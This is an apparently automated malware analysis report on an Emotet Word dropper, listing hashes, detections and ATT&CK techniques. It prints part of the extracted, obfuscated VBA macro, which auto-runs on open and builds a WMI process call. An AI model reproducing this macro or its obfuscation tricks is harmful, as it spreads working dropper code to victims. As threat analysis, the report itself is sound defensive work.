Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 5bdb09f8c41ec82c…

MALICIOUS

Office (OLE)

253.4 KB Created: 2020-01-17 23:48:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: 476e232cc921d666ef86018ae518d854 SHA-1: 6783d89934d69da4c92d7404dc78e83ef9370b0b SHA-256: 5bdb09f8c41ec82cc053a9b86e3c1bfe3f37444c98f079d11f1dc96b003941da
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.Emotet-7546618-0', strongly suggesting the Emotet family. The presence of a VBA macro, specifically triggered by the Document_Open event and utilizing a GetObject call, indicates an attempt to execute code. This macro is likely responsible for downloading and executing a secondary payload, a common Emotet behavior.

Heuristics 6

  • ClamAV: Doc.Dropper.Emotet-7546618-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emotet-7546618-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8192 bytes
SHA-256: 2e351cc01eef1715713835420380ace21db56336d316d9c4f81ac785afa9bd2c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Azounnfqzjs"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Ioorgcgmue
End Sub

Attribute VB_Name = "Gasurbxk"
Attribute VB_Base = "0{FB71478C-8139-4ABE-95AA-B74E2A9DA98C}{CD5C9EDA-130F-4F78-8127-3DFB2BE59D8A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ggraagza"
Function Nqlltdmkl()
   Select Case Putceqihbdrm
      Case Nfhkeuyzcvixi
         Lmjmrpkdsqnm = 7
         Gturfamlp = Atn(4)
         Tpsxthhapq = Sin(Zkhdbptrh)
      Case Wbofdhfawtby
         Gyjfmvqomugx = Log(3)
         Vwydgwvwfb = 6
         Jqvnxmikvrjl = CSng(Chptzfkvfav)
      Case Cwjsiatlzty
         Pmodmmiptogm = ChrW(Iokvsavfnlybl)
         Doqvfqxgb = 1
         Pbiicggbk = Cos(Ygxyjycflbg)
End Select
Fsvkmzymvgjq = ChrW(wdKeyP)
   Select Case Lpuopzfxvq
      Case Rktjbhxxje
         Ktjtflhhtdtoh = 7
         Wqfpbfgqotc = Atn(4)
         Hmagpyevplr = Sin(Fsnqfbosag)
      Case Yqedvzdjtah
         Yjitheofsa = Log(3)
         Xoanvggw = 6
         Iasumoapflk = CSng(Sfysbpjgq)
      Case Xkcwytah
         Bibnszfdu = ChrW(Tiihxnegijsj)
         Bmdqlkcjxrwwf = 1
         Ddvohdctpbf = Cos(Myizjqqn)
End Select
Uigeunwk = Fsvkmzymvgjq + Gasurbxk.Egrpihbmph + Gasurbxk.Hwmtrdtahwifx
   Select Case Ahltjtcfeurm
      Case Wdcaggwjffjur
         Fltaacfswbeqv = 7
         Sbdoumdwnhwr = Atn(4)
         Jocfhzjxm = Sin(Qkgzbpbgkmhr)
      Case Mbpgseld
         Nckodlvpas = Log(3)
         Xwlrulru = 6
         Zduxuqtyknztl = CSng(Nczrsqjxl)
      Case Vbjalrkqchtg
         Vbiqbdllm = ChrW(Sdjgpfjsbu)
         Kcijvxyuvim = 1
         Ahjahkpcrsn = Cos(Mbjnpkdmyo)
End Select
losd = Gasurbxk.Aajdtwrfwbdxb.GroupName
Ibpydtmc = Split(Uigeunwk + LTrim(losd), "//====dsfnnJJJsm388//=")
   Select Case Clxbrdwmrvns
      Case Xqhrgkwykr
         Bqeaomqxautoe = 7
         Tsqpwrmrkqf = Atn(4)
         Xdagprbf = Sin(Gbbnlcwtnwu)
      Case Ucpipzukj
         Zxtnymikmbj = Log(3)
         Dbonxrphuxfd = 6
         Mgngwbmnnj = CSng(Aojqdloveokg)
      Case Khfznkydveyv
         Hqnffcrbxe = ChrW(Peexwhseqfio)
         Wwsfriybnobeb = 1
         Ijbftutz = Cos(Rcivciykg)
End Select
Nqlltdmkl = Lwoamrtqmtlvb + Join(Ibpydtmc, "") + Lwoamrtqmtlvb
   Select Case Nthpklsfemlsz
      Case Ycnpywzgta
         Fbjbdeeju = 7
         Vvpafilsenvfp = Atn(4)
         Ycnnnpudmev = Sin(Nvzrmgsui)
      Case Xihmujvtanfb
         Yhbsdwkyc = Log(3)
         Netjivpguq = 6
         Iicibkvht = CSng(Nyrbfaizfc)
      Case Fbkrrqvbq
         Sjanjnhxpjtgk = ChrW(Kglrafecwgrs)
         Ycuvyyremzlx = 1
         Wmvaaxfppzs = Cos(Hdhsvefqhyl)
End Select
End Function
Function Ioorgcgmue()
d = "//====dsfnnJJJsm388//=i//====dsfnnJJJsm388//=//====dsfnnJJJsm388//=n//====dsfnnJJJsm388//=m//====dsfnnJJJsm388//=gmt//====dsfnnJJJsm388//=" + ChrW(wdKeyS) + "//====dsfnnJJJsm388//=:w//====dsfnnJJJsm388//=in//====dsfnnJJJsm388//=32//====dsfnnJJJsm388//=//====dsfnnJJJsm388//=_//====dsfnnJJJsm388//=" + Gasurbxk.Pinbaotdll + "//====dsfnnJJJsm388//=ro//====dsfnnJJJsm388//=ce//====dsfnnJJJsm388//=ss"
   Select Case Hjgltgqvk
      Case Zcvgzdeve
         Uytoitkatzulx = 7
         Ertctmzwkhphj = Atn(4)
         Nitlpiseyw = Sin(Igeryccznc)
      Case Kvbjgsmbcjlm
         Polmuficqp = Log(3)
         Qfhzxlgzbth = 6
         Fkjhyvszmmnna = CSng(Lheldqbhtcmzf)
      Case Vhcnpuyusu
         Dsulwekntpw = ChrW(Ddqfmwmgc)
         Kmsbnnmqp = 1
         Ozqquvfrglwgl = Cos(Pfyakbbpbj)
End Select
E = "//====dsfnnJJJsm388//="
   Select Case Dedoidhueev
      Case Cueelrlidt
         Jkaqvmfhtvkp = 7
         Wztefffcvcr = Atn(4)
         Mjfzlzwzshdir = Sin(R
... (truncated)

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